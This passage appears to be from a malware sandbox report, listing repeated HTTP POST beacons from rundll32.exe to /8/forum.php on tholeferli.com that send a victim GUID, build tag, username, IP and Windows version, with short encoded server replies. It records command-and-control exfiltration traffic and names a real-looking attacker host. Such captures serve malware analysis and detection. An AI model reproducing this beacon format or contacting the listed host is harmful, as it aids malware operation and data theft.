Jul 22, 2021 16:11:26.742439032 CEST	342	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:26.898808002 CEST	342	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4a 51 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVJQEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49210	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:27.191701889 CEST	343	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:27.347398996 CEST	344	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 47 54 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJGTQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49211	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:27.621886015 CEST	344	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:27.777520895 CEST	345	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49212	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:28.069185972 CEST	345	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:28.217291117 CEST	346	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4a 51 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBJQYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49213	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:28.501733065 CEST	347	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:28.671717882 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 54 47 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGTGTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49214	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:28.951314926 CEST	348	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:29.115489960 CEST	348	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 47 54 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFGTUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49215	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:29.400058031 CEST	349	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:29.557709932 CEST	349	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4b 50 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYKPBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49216	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:29.838335991 CEST	350	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:29.991446972 CEST	350	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4d 4e 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNMNMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49172	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:06.085464954 CEST	294	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:06.253609896 CEST	294	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4e 4d 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQNMJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49217	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:30.272991896 CEST	351	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:30.440629005 CEST	351	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 59 42 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVYBEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49218	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:30.829647064 CEST	352	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:30.989835024 CEST	352	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 51 4a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZQJAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49219	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:31.273880959 CEST	353	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:32.441133976 CEST	354	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 42 59 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNBYMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49220	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:32.852581978 CEST	354	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:33.020685911 CEST	355	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4d 4e 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVMNEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49221	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:33.445880890 CEST	356	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:33.601244926 CEST	356	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 48 53 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNHSMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49222	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:33.880182028 CEST	357	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:34.034898996 CEST	357	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 41 5a 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMAZNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49223	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:34.310890913 CEST	358	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:34.467071056 CEST	358	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4b 50 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTKPGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49224	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:34.750005960 CEST	359	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:34.902857065 CEST	359	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 56 45 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAVEZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49225	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:35.193599939 CEST	360	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:35.361417055 CEST	360	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4e 4d 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTNMGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49226	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:35.637610912 CEST	361	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:35.809911013 CEST	361	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 59 42 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBYBYARRABw==0

